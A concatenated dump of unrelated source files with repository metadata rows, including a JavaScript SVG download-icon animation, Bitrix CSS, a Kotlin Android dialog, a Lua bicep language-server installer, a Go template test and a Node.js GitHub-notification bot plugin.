var visibility = document.querySelector(root.nodeName + "#" + root.id + " input[id=includes10_showTrimPathsCheckbox]").checked ? "visible" : "hidden";
document.getElementById("downloading_progress_bar_check_debug").style.visibility = visibility;
});
function shouldShowDebugClipMasks() {
return document.querySelector(root.nodeName + "#" + root.id + " input[id=includes10_showClipMaskCheckbox]").checked;
}
document.querySelector(root.nodeName + "#" + root.id + " input[id=includes10_showClipMaskCheckbox]").addEventListener("change", function () {
var visibility = (isDownloading && shouldShowDebugClipMasks()) ? "visible" : "hidden";
downloadingClipMaskDebug.style.visibility = visibility;
});
function createProgressBarOuterRotationAnimation() {
return document.getElementById("downloading_progress_bar_outer_rotation").animate([
{ transform: "rotate(0deg)", offset: 0, easing: 'linear' },
{ transform: "rotate(720deg)", offset: 1 }
], { duration: common.getDuration(root, 5332), fill: "forwards", iterations: "Infinity" });
}
function createTrimPathOffsetAnimation() {
return document.getElementById("downloading_progress_bar_inner_rotation").animate([
{ transform: "rotate(0deg)", offset: 0, easing: 'linear' },
{ transform: "rotate(90deg)", offset: 1 }
], { duration: common.getDuration(root, 1333), fill: "forwards", iterations: "Infinity" });
}
function createTrimPathStartEndAnimation() {
var downloadingProgressBar = document.getElementById("downloading_progress_bar");
var fastOutSlowInFunction = bezierEasing(0.4, 0, 0.2, 1);
var trimPathEndFunction = function (t) {
if (t <= 0.5) {
return fastOutSlowInFunction(t * 2) * 0.96;
} else {
return 0.08 * t + 0.92;
}
};
var pathLength = downloadingProgressBar.getTotalLength();
var keyFrames = [];
for (var i = 0; i < 1344; i += 16) {
var trimPathStart = 0;
if (i >= 672) {
trimPathStart = fastOutSlowInFunction(((i - 672) / 672)) * 0.75;
}
var trimPathEnd = trimPathEndFunction(i / 1344) * 0.75 + 0.03;
var trimPathLength = trimPathEnd - trimPathStart;
keyFrames.push({
strokeDasharray: (trimPathLength * pathLength) + "," + (1 - trimPathLength) * pathLength,
strokeDashoffset: (-trimPathStart * pathLength),
easing: "linear",
offset: (i / 1344)
});
}
keyFrames.push({
strokeDasharray: (0.03 * pathLength) + "," + pathLength,
strokeDashoffset: (-0.75 * pathLength),
offset: 1
});
return downloadingProgressBar.animate(keyFrames, {
duration: common.getDuration(root, 1333),
fill: "forwards",
iterations: "Infinity"
});
}
function createLineAnimation() {
var animation = document.getElementById("downloading_line_path_animation");
animation.setAttributeNS(null, "dur", common.getDuration(root, 714) + "ms");
animation.beginElement();
downloadingLinePointsPathAnimation.setAttributeNS(null, "dur", common.getDuration(root, 714) + "ms");
downloadingLinePointsPathAnimation.beginElement();
return animation;
}
function createCheckToArrowPathMorphAnimation() {
var animation = document.getElementById("downloading_check_arrow_path_animation");
animation.setAttributeNS(null, "dur", common.getDuration(root, 833) + "ms");
animation.beginElement();
downloadingCheckArrowPointsPathAnimation.setAttributeNS(null, "dur", common.getDuration(root, 833) + "ms");
downloadingCheckArrowPointsPathAnimation.beginElement();
return animation;
}
function createCheckToArrowPathMotionAnimation() {
var animation = document.getElementById("downloading_check_arrow_path_motion_animation");
animation.setAttributeNS(null, "dur", common.getDuration(root, 517) + "ms");
animation.beginElement();
return animation;
}
function createCheckToArrowRotateAnimation() {
var checkarrow_rotation = document.getElementById("downloading_check_arrow_group_rotate");
checkarrow_rotation.animate([
{ transform: "rotate(45deg)", offset: 0, easing: "cubic-bezier(0.2, 0, 0, 1)" },
{ transform: "rotate(0deg)", offset: 1 }
], { duration: common.getDuration(root, 517), fill: "forwards", delay: common.getDuration(root, 1800) });
}
function createArrowTranslateAnimation() {
return document.getElementById("downloading_arrow_group_translate").animate([
{ transform: "translate(0px,0px)", easing: "linear", offset: 0 },
{ transform: "translate(0px,-16.38px)", easing: "linear", offset: 0.1525 },
{ transform: "translate(0px,-20px)", easing: "linear", offset: 0.2830 },
{ transform: "translate(0px,-28.98px)", easing: "linear", offset: 0.3364 },
{ transform: "translate(0px,-20px)", easing: "linear", offset: 0.3911 },
{ transform: "translate(0px,32px)", easing: "linear", offset: 0.5437 },
{ transform: "translate(0px,15px)", easing: "linear", offset: 0.6519 },
{ transform: "translate(0px,0px)", offset: 1 }
], { duration: common.getDuration(root, 767), fill: "forwards" });
}
function createArrowRotateAnimation() {
return document.getElementById("downloading_arrow_group_rotate").animate([
{ transform: "rotate(0deg)", easing: "linear", offset: 0 },
{ transform: "rotate(0deg)", easing: "cubic-bezier(0.32, 0, 0.23, 1)", offset: 0.1205 },
{ transform: "rotate(10deg)", easing: "linear", offset: 0.4410 },
{ transform: "rotate(10deg)", easing: "cubic-bezier(0.16, 0, 0.23, 1)", offset: 0.7205 },
{ transform: "rotate(0deg)", offset: 1 }
], { duration: common.getDuration(root, 415), fill: "forwards" });
}
function createFadeFillAnimation(path, durationMillis, startDelayMillis, startOpacity, endOpacity) {
return path.animate([
{ fillOpacity: startOpacity, offset: 0, easing: fastOutSlowIn },
{ fillOpacity: endOpacity, offset: 1 }
], { duration: common.getDuration(root, durationMillis), fill: "forwards", delay: common.getDuration(root, startDelayMillis) });
}
function createFadeStrokeAnimation(path, durationMillis, startOpacity, endOpacity) {
return path.animate([
{ strokeOpacity: startOpacity, offset: 0, easing: fastOutSlowIn },
{ strokeOpacity: endOpacity, offset: 1 }
], { duration: common.getDuration(root, durationMillis), fill: "forwards" });
}
function createStrokeWidthAnimation(path, durationMillis, startDelayMillis, startWidth, endWidth) {
return path.animate([
{ strokeWidth: startWidth, offset: 0, easing: linearOutSlowIn },
{ strokeWidth: endWidth, offset: 1 }
], { duration: common.getDuration(root, durationMillis), fill: "forwards", delay: common.getDuration(root, startDelayMillis) });
}
function createArrowFillAnimation() {
var duration = common.getDuration(root, 1333);
var startDelay = common.getDuration(root, 333);
var animation = document.getElementById("downloading_arrow_fill_clip_animation");
animation.setAttributeNS(null, 'dur', duration + 'ms');
animation.setAttributeNS(null, 'begin', startDelay + 'ms');
animation.beginElement();
return animation;
}
function createArrowFillDebugAnimation() {
downloadingClipMaskDebug.style.visibility = shouldShowDebugClipMasks() ? "visible" : "hidden";
var duration = common.getDuration(root, 1333);
var startDelay = common.getDuration(root, 333);
var animation = document.getElementById("downloading_arrow_fill_clip_animation_debug");
animation.setAttributeNS(null, 'dur', duration + 'ms');
animation.setAttributeNS(null, 'begin', startDelay + 'ms');
animation.beginElement();
return animation;
}
function createProgressToCheckTrimAnimation(strokePath) {
var linearOutSlowInFunction = bezierEasing(0, 0, 0.2, 1);
var pathLength = strokePath.getTotalLength();
var keyFrames = [];
for (var i = 0; i <= 1024; i += 16) {
var trimPathStart = 0;
var trimPathEnd = linearOutSlowInFunction(i / 1024);
if (i >= 400) {
trimPathStart = linearOutSlowInFunction((i - 400) / 624) * 0.88047672583;
}
keyFrames.push({
strokeDasharray: ((trimPathEnd - trimPathStart) * pathLength) + "," + pathLength,
strokeDashoffset: (-trimPathStart * pathLength),
easing: "linear",
offset: (i / 1024)
});
}
return strokePath.animate(keyFrames, {
duration: common.getDuration(root, 1024),
fill: "forwards"
});
}
function beginDownloadingAnimation() {
var arrowPathLight = document.getElementById("downloading_arrow_path");
var arrowPathDark = document.getElementById("downloading_arrow_filling");
createFadeFillAnimation(arrowPathLight, 0, 0, 1, 1);
createFadeFillAnimation(arrowPathDark, 0, 0, 1, 1);
var checkArrowPath = document.getElementById("downloading_check_arrow_path");
createFadeFillAnimation(checkArrowPath, 0, 0, 0, 0);
createFadeFillAnimation(downloadingCheckArrowPointsPath, 0, 0, 0, 0);
var progressBarPath = document.getElementById("downloading_progress_bar");
createFadeStrokeAnimation(progressBarPath, 0, 1, 1);
var progressBarCheckPath = document.getElementById("downloading_progress_bar_check");
createFadeStrokeAnimation(progressBarCheckPath, 0, 0, 0);
downloadingAnimations.push(createProgressBarOuterRotationAnimation());
downloadingAnimations.push(createTrimPathStartEndAnimation());
downloadingAnimations.push(createTrimPathOffsetAnimation());
createLineAnimation();
createArrowTranslateAnimation();
createArrowRotateAnimation();
createArrowFillAnimation();
createArrowFillDebugAnimation();
}
function cancelDownloadingAnimations() {
downloadingClipMaskDebug.style.visibility = "hidden";
downloadingClipMaskAnimationDebug.endElement();
for (var i = 0; i < downloadingAnimations.length; i += 1) {
downloadingAnimations[i].cancel();
}
downloadingAnimations = [];
}
function beginCompleteAnimation() {
var progressBarPath = document.getElementById("downloading_progress_bar");
createFadeStrokeAnimation(progressBarPath, 0, 0, 0);
var progressBarCheckPath = document.getElementById("downloading_progress_bar_check");
createFadeStrokeAnimation(progressBarCheckPath, 0, 1, 1);
var arrowPathLight = document.getElementById("downloading_arrow_path");
var arrowPathDark = document.getElementById("downloading_arrow_filling");
createFadeFillAnimation(arrowPathLight, 500, 0, 1, 0);
createFadeFillAnimation(arrowPathDark, 500, 0, 1, 0);
// TODO(alockwood): figure out why SMIL won't respect these start delays... :/
setTimeout(function () {
isCompleteAnimationPending = false;
var checkArrowPath = document.getElementById("downloading_check_arrow_path");
createFadeFillAnimation(checkArrowPath, 0, 0, 1, 1);
createFadeFillAnimation(downloadingCheckArrowPointsPath, 0, 0, 1, 1);
createFadeStrokeAnimation(progressBarCheckPath, 0, 0, 0);
createCheckToArrowPathMorphAnimation();
createCheckToArrowPathMotionAnimation();
}, common.getDuration(root, 1800));
createCheckToArrowRotateAnimation();
var strokePath = document.getElementById("downloading_progress_bar_check");
createProgressToCheckTrimAnimation(strokePath);
createStrokeWidthAnimation(strokePath, 0, 0, 20, 20);
createStrokeWidthAnimation(strokePath, 500, 800, 20, 14.5);
}
document.getElementById("ic_downloading").addEventListener("click", function () {
if (isCompleteAnimationPending) {
return;
}
if (isDownloading) {
var scaledDuration = common.getDuration(root, 2666);
var elapsedTimeMillis = new Date().getTime() - lastKnownTimeMillis;
var delayTime = scaledDuration - (elapsedTimeMillis % scaledDuration);
isCompleteAnimationPending = true;
setTimeout(function () {
cancelDownloadingAnimations();
beginCompleteAnimation();
}, delayTime);
} else {
lastKnownTimeMillis = new Date().getTime();
beginDownloadingAnimation();
}
isDownloading = !isDownloading;
});
});
var common = (function () {
function getDuration(root, durationMillis) {
return getScaledDuration(root, durationMillis, 5);
}
function getScaledDuration(root, durationMillis, scaleFactor) {
var selector = document.querySelector(root.nodeName + "#" + root.id + " input[id=" + root.id + "_slowAnimationCheckbox]");
return durationMillis * (selector.checked ? scaleFactor : 1);
}
function addDotToList(pathDataDots, x, y, r) {
pathDataDots.push({ type: "M", values: [x, y] });
pathDataDots.push({ type: "m", values: [-r, 0] });
pathDataDots.push({ type: "a", values: [r, r, 0, 1, 0, r * 2, 0] });
pathDataDots.push({ type: "a", values: [r, r, 0, 1, 0, -r * 2, 0] });
pathDataDots.push({ type: "z" });
}
function createPathDotString(pathString, dotRadius) {
var path = document.createElementNS("http://www.w3.org/2000/svg", "path");
path.setAttribute('d', pathString);
var pathData = path.getPathData({ normalize: true });
var pathDataDots = [];
var r = dotRadius;
for (var i = 0; i < pathData.length; i += 1) {
var seg = pathData[i];
if (seg.type === "M" || seg.type === "L") {
addDotToList(pathDataDots, seg.values[0], seg.values[1], r);
} else if (seg.type === "C") {
addDotToList(pathDataDots, seg.values[0], seg.values[1], r);
addDotToList(pathDataDots, seg.values[2], seg.values[3], r);
addDotToList(pathDataDots, seg.values[4], seg.values[5], r);
}
}
path.setPathData(pathDataDots);
return path.getAttribute('d');
}
return {
fastOutSlowIn: "cubic-bezier(0.4, 0, 0.2, 1)",
fastOutLinearIn: "cubic-bezier(0.4, 0, 1, 1)",
linearOutSlowIn: "cubic-bezier(0, 0, 0.2, 1)",
getDuration: getDuration,
getScaledDuration: getScaledDuration,
createPathDotString: createPathDotString
};
})();
} | 51.445642 | 1,868 | 0.659131 |
18ddb0679508797c59b1967cab0edc3e33d931f2 | 3,002 | css | CSS | bitrix/modules/intranet/install/components/bitrix/intranet.system.person/templates/.default/style.css | BuildingBridge/biznet | 0e9e864be99e01bd35f4321a04736866937897b0 | [
"Unlicense"
] | 1 | 2020-10-05T04:28:40.000Z | 2020-10-05T04:28:40.000Z | bitrix/modules/intranet/install/components/bitrix/intranet.system.person/templates/.default/style.css | shuchitamathur28/bitrix24 | fafc179382f028989a4ee4a5f97422e49b1526b4 | [
"Unlicense"
] | null | null | null | bitrix/modules/intranet/install/components/bitrix/intranet.system.person/templates/.default/style.css | shuchitamathur28/bitrix24 | fafc179382f028989a4ee4a5f97422e49b1526b4 | [
"Unlicense"
] | null | null | null | .bx-user-info-big {border: solid 1px #C4C4C4; margin: 0px 0px 10px 0px;}
.bx-user-info-inner-big {padding: 15px; border-top: solid 3px #D8E3E8;}
.bx-user-info-inner-big .bx-user-text {margin-left: 120px; margin-right: 200px;}
.bx-user-info-inner-big .bx-user-text.no-photo {margin-left: 0px;}
.bx-user-info-inner-big .bx-user-text .bx-user-name, .bx-user-info-inner .bx-user-text .bx-user-post {margin-bottom: 10px;}
.bx-user-info-inner-big .bx-user-image {float: left; height: 102px; width: 104px; padding-top: 2px; border: solid 1px #C4C4C4; text-align: center; }
.bx-user-info-inner-big .bx-user-image a {display: block; height: 102px; width: 104px; text-decoration: none;}
.bx-user-info-inner-big .bx-user-image img {border: 0;}
.bx-user-info-inner-big .bx-user-image-default {
background-image: url(/bitrix/components/bitrix/intranet.system.person/templates/.default/images/nopic_user_100_noborder.gif);
}
.bx-user-info-inner-big .bx-user-name {font-size: 1.5em; margin: 0px;}
.bx-user-info-inner-big .bx-user-name nobr {white-space: normal !important;}
.bx-user-info-inner-big .bx-user-name a {text-decoration: none;}
.bx-user-info-inner-big .bx-user-name a:hover {text-decoration: underline;}
.bx-users-delimiter {clear: both;}
.bx-user-info-inner-big .bx-user-post {font-weight: bold;}
.bx-user-info-inner-big .bx-user-properties {color: #6D808F;}
.bx-user-controls {float: right;}
.bx-user-controls .bx-user-control {
border-left: solid 1px #C4C4C4;
padding: 5px 0px 5px 10px;
margin: 0px;
margin-bottom: 10px;
width: 160px;
}
.bx-user-controls .bx-user-control a {text-decoration: none;}
.bx-user-controls .bx-user-control a:hover {text-decoration: underline;}
.bx-user-controls .bx-user-control ul {list-style-image: none; list-style-position: outside; list-style-type: none; margin: 0; padding: 0;}
.bx-user-info-inner-big .bx-user-control ul li.bx-icon {
padding-top: 3px;
height: 20px;
display: block;
padding-left: 22px;
clear: both;
background-image: url(/bitrix/components/bitrix/intranet.system.person/templates/.default/images/icons_all.png);
background-repeat: no-repeat;
white-space:nowrap;
}
.bx-user-info-inner-big .bx-user-control .bx-icon-message{background-position: 0 0;}
.bx-user-info-inner-big .bx-user-control .bx-icon-online{background-position: 0 -20px;}
.bx-user-info-inner-big .bx-user-control .bx-icon-away{background-position: 0 -40px;}
.bx-user-info-inner-big .bx-user-control .bx-icon-birth{background-position: 0 -60px;}
.bx-user-info-inner-big .bx-user-control .bx-icon-featured{background-position: 0 -80px;}
.bx-user-info-inner-big .bx-user-control .bx-icon-edit{background-position: 0 -99px;}
.bx-user-info-inner-big .bx-user-control .bx-icon-video{background-position: 0 -120px;}
.bx-user-info-inner-big div.bx-user-subtitle {
font-size: 1.2em;
font-weight: bold;
padding: 5px 10px;
margin-bottom: 10px;
background-color: #FFFFDA;
border: solid 1px #E7E7CE;
}
.bx-user-info-inner-big .bx-user-subtitle-featured {color: #C30808;} | 46.184615 | 148 | 0.733511 |
9fc43f5bc86d40d0a1590c8d24d3ee09d34112fc | 1,052 | kt | Kotlin | feature_wallet_impl/src/main/java/jp/co/soramitsu/feature_wallet_impl/presentation/send/error/EthereumAccountErrorBottomSheetDialog.kt | metrocoindev/Sora-Android | a942cf4fc0534b8c9a37d4bdf8a17334aadaa001 | [
"Apache-2.0"
] | 11 | 2019-10-08T06:26:55.000Z | 2021-07-26T07:33:08.000Z | feature_wallet_impl/src/main/java/jp/co/soramitsu/feature_wallet_impl/presentation/send/error/EthereumAccountErrorBottomSheetDialog.kt | metrocoindev/Sora-Android | a942cf4fc0534b8c9a37d4bdf8a17334aadaa001 | [
"Apache-2.0"
] | 2 | 2020-11-26T01:55:22.000Z | 2021-08-18T21:27:56.000Z | feature_wallet_impl/src/main/java/jp/co/soramitsu/feature_wallet_impl/presentation/send/error/EthereumAccountErrorBottomSheetDialog.kt | metrocoindev/Sora-Android | a942cf4fc0534b8c9a37d4bdf8a17334aadaa001 | [
"Apache-2.0"
] | 9 | 2019-10-24T16:05:17.000Z | 2022-03-10T14:31:04.000Z | /**
* Copyright Soramitsu Co., Ltd. All Rights Reserved.
* SPDX-License-Identifier: GPL-3.0
*/
package jp.co.soramitsu.feature_wallet_impl.presentation.send.error
import android.content.Context
import android.view.LayoutInflater
import com.google.android.material.bottomsheet.BottomSheetDialog
import jp.co.soramitsu.common.presentation.DebounceClickHandler
import jp.co.soramitsu.common.presentation.view.DebounceClickListener
import jp.co.soramitsu.feature_wallet_impl.R
import kotlinx.android.synthetic.main.eth_wallet_error_bottom_dialog.goToEthereumBtn
class EthereumAccountErrorBottomSheetDialog(
context: Context,
debounceClickHandler: DebounceClickHandler,
itemClickListener: () -> Unit
) : BottomSheetDialog(context, R.style.BottomSheetDialog) {
init {
setContentView(LayoutInflater.from(context).inflate(R.layout.eth_wallet_error_bottom_dialog, null))
goToEthereumBtn.setOnClickListener(DebounceClickListener(debounceClickHandler) {
itemClickListener()
dismiss()
})
}
} | 35.066667 | 107 | 0.789924 |
96926cc7e482ff87829e6f523c89f33d33463d0e | 2,932 | html | HTML | web/index.html | RTradeLtd/host | 115156bc1f4df3f69de2c1b57386999b2dc8a1a6 | [
"MIT"
] | 2 | 2019-07-29T18:51:30.000Z | 2019-08-10T02:05:08.000Z | web/index.html | RTradeLtd/host | 115156bc1f4df3f69de2c1b57386999b2dc8a1a6 | [
"MIT"
] | 4 | 2019-07-26T16:03:00.000Z | 2019-08-13T02:32:13.000Z | web/index.html | Permaweb/host | 115156bc1f4df3f69de2c1b57386999b2dc8a1a6 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<!-- Bootstrap -->
<link href="https://permaweb.io/ipfs/bafybeidxhhjkylkzpudswjbbixwzohrmx4fa5cs35xe7ntxskpgtpaszlm/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous" rel="stylesheet">
<script src="https://permaweb.io/ipfs/bafybeiagg6b4qhsazsp7u3vq2qg4ivi2s2v4dj6lctp2akys3kkussx624/jquery-3.3.1.slim.min.js" integrity="sha384-q8i/X+965DzO0rT7abK41JStQIAqVgRVzpbzo5smXKp4YfRvH+8abtTE1Pi6jizo" crossorigin="anonymous"></script>
<script src="https://permaweb.io/ipfs/bafybeid6vxro32jo4fy5bqvwqhnr34rowuqepb75ga6fvhq2vmskztz5wq/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script>
<script src="https://permaweb.io/ipfs/bafybeidt325fl7nyxetqlvzvdt6erb5izgayjol3zdwqi6jk3hipfhaolm/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script>
<!-- Hogan.JS -->
<script src="https://permaweb.io/ipfs/bafybeih6awiulizmtw2clv4smfbjd6borv733bun6g3226mgv537e6g7ei/hogan-3.0.1.js"></script>
<!-- Templates -->
<script src="templates/result_card.js"></script>
<script src="templates/spinner_grow.js"></script>
<script src="templates/repos_table.js"></script>
<script src="templates/alert_danger.js"></script>
<script src="templates/alert_success.js"></script>
<!-- App -->
<script src="js/home.js"></script>
<title>Git to IPFS</title>
</head>
<body>
<header>
<!-- Navbar -->
<nav class="navbar navbar-expand-lg navbar-dark bg-dark">
<a class="navbar-brand" href="/">Git on IPNS</a>
</nav>
<!-- Jumbotron -->
<div class="jumbotron jumbotron-fluid">
<div class="container">
<h1 class="display-4">Git on IPNS</h1>
<p class="lead">Put your website on IPFS with a permanent IPNS URL.</p>
</div>
</div>
</header>
<!-- Main -->
<main class="container">
<!-- Alerts when adding a new repo -->
<div id="card_result" class="m-3">
<!-- Hogan.JS -->
</div>
<!-- Form -->
<form class="m-3">
<!-- Git URL -->
<div class="form-group">
<label for="gitURLInput">Git URL</label>
<input type="text" class="form-control" id="gitURLInput" placeholder="git@github.com:Permaweb/Host.git" required>
<small class="form-text text-muted"></small>
</div>
<!-- Submit -->
<button type="button" class="btn btn-primary" onclick="gipns.home.submit()">Submit</button>
</form>
<!-- Alerts when dealing with the list of repos -->
<div id="list_alert" class="m-3">
<!-- Hogan.JS -->
</div>
<!-- List -->
<div id="repos_table" class="m-3">
<!-- Hogan.JS -->
<div class="spinner-grow m-auto"></div>
</div>
</main>
</body>
</html> | 34.494118 | 242 | 0.700205 |
1ebc6b1f05fe19cd5daf780313c6319fd1ce8a3d | 1,310 | lua | Lua | lua/nvim-lsp-installer/servers/bicep/init.lua | sarmong/nvim-lsp-installer | b6ee5b2ed77bd50c0681769a5ee41f5f0558fe88 | [
"Apache-2.0"
] | null | null | null | lua/nvim-lsp-installer/servers/bicep/init.lua | sarmong/nvim-lsp-installer | b6ee5b2ed77bd50c0681769a5ee41f5f0558fe88 | [
"Apache-2.0"
] | null | null | null | lua/nvim-lsp-installer/servers/bicep/init.lua | sarmong/nvim-lsp-installer | b6ee5b2ed77bd50c0681769a5ee41f5f0558fe88 | [
"Apache-2.0"
] | null | null | null | local server = require "nvim-lsp-installer.server"
local path = require "nvim-lsp-installer.path"
local std = require "nvim-lsp-installer.installers.std"
local context = require "nvim-lsp-installer.installers.context"
return function(name, root_dir)
return server.Server:new {
name = name,
root_dir = root_dir,
languages = { "bicep" },
homepage = "https://github.com/Azure/bicep",
installer = {
std.ensure_executables {
{ "dotnet", "dotnet is required to run the bicep language server." },
},
-- The bicep-langserver.zip is a bit broken on POSIX systems - so we download it via the VSCode distribution
-- instead. See https://github.com/Azure/bicep/issues/3704.
context.use_github_release_file("Azure/bicep", "vscode-bicep.vsix"),
context.capture(function(ctx)
return std.unzip_remote(ctx.github_release_file, "vscode")
end),
std.rename(path.concat { "vscode", "extension", "bicepLanguageServer" }, "langserver"),
std.rmrf "vscode",
context.set_working_dir "langserver",
},
default_options = {
cmd = { "dotnet", path.concat { root_dir, "Bicep.LangServer.dll" } },
},
}
end
| 42.258065 | 120 | 0.610687 |
39e09ce424f16dce30c9f44d377077833ace3067 | 189 | java | Java | src/main/java/vorquel/mod/toolsonthego/item/ItemTotGAxe.java | Vorquel/Tools-On-The-Go | 0f9ce4b1041d4ce140668082e474ebb41680257f | [
"Zlib"
] | null | null | null | src/main/java/vorquel/mod/toolsonthego/item/ItemTotGAxe.java | Vorquel/Tools-On-The-Go | 0f9ce4b1041d4ce140668082e474ebb41680257f | [
"Zlib"
] | null | null | null | src/main/java/vorquel/mod/toolsonthego/item/ItemTotGAxe.java | Vorquel/Tools-On-The-Go | 0f9ce4b1041d4ce140668082e474ebb41680257f | [
"Zlib"
] | null | null | null | package vorquel.mod.toolsonthego.item;
import net.minecraft.item.ItemAxe;
public class ItemTotGAxe extends ItemAxe {
public ItemTotGAxe() {
super(ToolMaterial.STONE);
}
}
| 18.9 | 42 | 0.724868 |
161effd57acb4fc5ebb4579a4c2782a8020b2d37 | 64 | ts | TypeScript | es/RvHookup.d.ts | eugeneilyin/mdi-norm | e9ee50f99aafa1f4dd77ffbe8c06fbdc49ec58f4 | [
"MIT"
] | 3 | 2018-11-11T01:48:20.000Z | 2019-12-02T06:13:14.000Z | es/RvHookup.d.ts | eugeneilyin/mdi-norm | e9ee50f99aafa1f4dd77ffbe8c06fbdc49ec58f4 | [
"MIT"
] | 1 | 2019-02-21T05:59:35.000Z | 2019-02-21T21:57:57.000Z | src/RvHookup.d.ts | eugeneilyin/mdi-norm | e9ee50f99aafa1f4dd77ffbe8c06fbdc49ec58f4 | [
"MIT"
] | null | null | null | export { default as RvHookup } from './utils/createThemedIcon';
| 32 | 63 | 0.75 |
fed7ae6775a739157759d546b5968732f068d045 | 446 | html | HTML | build/templates/template.html | dzervoudakes/react-party | 792f709c356b14399ec1dbdb7dff74c8c5fbb019 | [
"MIT"
] | 1 | 2020-08-07T19:20:51.000Z | 2020-08-07T19:20:51.000Z | build/templates/template.html | dzervoudakes/react-party | 792f709c356b14399ec1dbdb7dff74c8c5fbb019 | [
"MIT"
] | 4 | 2017-10-05T04:14:11.000Z | 2018-03-20T03:33:58.000Z | build/templates/template.html | dzervoudakes/react-party | 792f709c356b14399ec1dbdb7dff74c8c5fbb019 | [
"MIT"
] | null | null | null | <!DOCTYPE html>
<html lang="en-US">
<head>
<title><%= htmlWebpackPlugin.options.title %></title>
<base href="/">
<meta charset="utf-8">
<meta name="viewport" content="initial-scale=1, maximum-scale=1">
<link rel="stylesheet" type="text/css" href="//fonts.googleapis.com/css?family=Questrial:400,700">
</head>
<body>
<noscript>You need to enable JavaScript to use this application.</noscript>
<div id="app"></div>
</body>
</html> | 31.857143 | 100 | 0.672646 |
43ece11ca541d04a6001c2bdcf37f34146a18208 | 1,672 | go | Go | deployment/template/deployment_template_test.go | mboldt/bosh-cli | 8366c6fd5cd98b7c9051dc9481f67c88fb8606f9 | [
"Apache-2.0"
] | 172 | 2016-09-01T06:20:07.000Z | 2022-02-20T10:52:38.000Z | deployment/template/deployment_template_test.go | mboldt/bosh-cli | 8366c6fd5cd98b7c9051dc9481f67c88fb8606f9 | [
"Apache-2.0"
] | 588 | 2016-08-30T18:06:28.000Z | 2022-03-31T09:49:03.000Z | deployment/template/deployment_template_test.go | mboldt/bosh-cli | 8366c6fd5cd98b7c9051dc9481f67c88fb8606f9 | [
"Apache-2.0"
] | 173 | 2016-09-01T09:31:22.000Z | 2022-01-27T09:47:35.000Z | package template_test
import (
"github.com/cppforlife/go-patch/patch"
. "github.com/onsi/ginkgo"
. "github.com/onsi/gomega"
. "github.com/cloudfoundry/bosh-cli/deployment/template"
boshtpl "github.com/cloudfoundry/bosh-cli/director/template"
)
var _ = Describe("DeploymentTemplate", func() {
It("can template values into a struct with byte slice", func() {
deploymentTemplate := NewDeploymentTemplate([]byte(""))
vars := boshtpl.StaticVariables{"key": "foo"}
ops := patch.Ops{
patch.ReplaceOp{Path: patch.MustNewPointerFromString(""), Value: "((key))"},
}
result, err := deploymentTemplate.Evaluate(vars, ops)
Expect(err).NotTo(HaveOccurred())
Expect(result.Content()).To(Equal([]byte("foo\n")))
})
It("returns an error if variable key is missing", func() {
deploymentTemplate := NewDeploymentTemplate([]byte("((key)): true"))
vars := boshtpl.StaticVariables{"key2": "foo"}
ops := patch.Ops{}
_, err := deploymentTemplate.Evaluate(vars, ops)
Expect(err).To(HaveOccurred())
Expect(err.Error()).To(ContainSubstring("Expected to find variables: key"))
})
It("returns a struct that can return the SHA2 512 of the struct", func() {
deploymentTemplate := NewDeploymentTemplate([]byte(""))
vars := boshtpl.StaticVariables{"key": "foo"}
ops := patch.Ops{
patch.ReplaceOp{Path: patch.MustNewPointerFromString(""), Value: "((key))"},
}
result, err := deploymentTemplate.Evaluate(vars, ops)
Expect(err).NotTo(HaveOccurred())
asString := result.SHA()
Expect(asString).To(Equal("0cf9180a764aba863a67b6d72f0918bc131c6772642cb2dce5a34f0a702f9470ddc2bf125c12198b1995c233c34b4afd346c54a2334c350a948a51b6e8b4e6b6"))
})
})
| 34.122449 | 160 | 0.717105 |
9bfea95b368a34ed9117ba53196a9e56ec98c726 | 1,080 | js | JavaScript | plugins/github.js | wiox/hash.js | c1de06ed81326fc83753fcb72fd356bc1f10e1db | [
"CC0-1.0"
] | 10 | 2015-04-06T17:43:30.000Z | 2015-09-04T19:47:38.000Z | plugins/github.js | meepen/hash.js | 9fe94b946fd1d6cf86ec06362deaa370ec884e89 | [
"CC0-1.0"
] | 45 | 2015-04-06T19:51:45.000Z | 2015-09-28T09:54:30.000Z | plugins/github.js | meepen/hash.js | 9fe94b946fd1d6cf86ec06362deaa370ec884e89 | [
"CC0-1.0"
] | 34 | 2015-04-06T19:56:19.000Z | 2015-10-04T00:46:52.000Z | var config = require( "../config" );
var github = require( "../lib/github" )( config.GitHub );
var gitio = require( "../lib/gitio" );
var request = require( "request" );
var last = null;
github.on( "data", function( notification ) {
github.markAsRead();
var notificationTime = new Date( notification.updated_at )
var currentTime = new Date()
// Only show notifications if less than 3 minutes old
if ( ( ( currentTime - notificationTime ) / 1e3 | 0 ) > 180 )
return true;
var url = notification.subject.url;
// Ignore duplicate notifications made between 2s
if ( last == url )
return;
last = url;
setTimeout( function() {
last = null;
}, 2000 );
var options = {
headers: {
"User-Agent": "Node-JS"
}
};
bot.emit( "GithubUpdate", notification );
request( notification.subject.url, options, function( error, req, body ) {
if ( error ) {
console.trace( error );
return;
}
var obj = JSON.parse( body );
var url = obj.html_url;
// Shortern the URL
bot.sendMessage( notification.subject.title + "\n" + url );
} );
} );
| 19.285714 | 75 | 0.633333 |
85822bca1dd9230a7e76b14d951c40276e5feaee | 9,602 | js | JavaScript | public/js/ajax.js | alexrodri99/ideas-ajax | 76166c916b61e853be041347cee70286e99835f1 | [
"MIT"
] | null | null | null | public/js/ajax.js | alexrodri99/ideas-ajax | 76166c916b61e853be041347cee70286e99835f1 | [
"MIT"
] | null | null | null | public/js/ajax.js | alexrodri99/ideas-ajax | 76166c916b61e853be041347cee70286e99835f1 | [
"MIT"
] | null | null | null | window.onload = function() {
modal = document.getElementById("myModal");
read();
}
function objetoAjax() {
var xmlhttp = false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
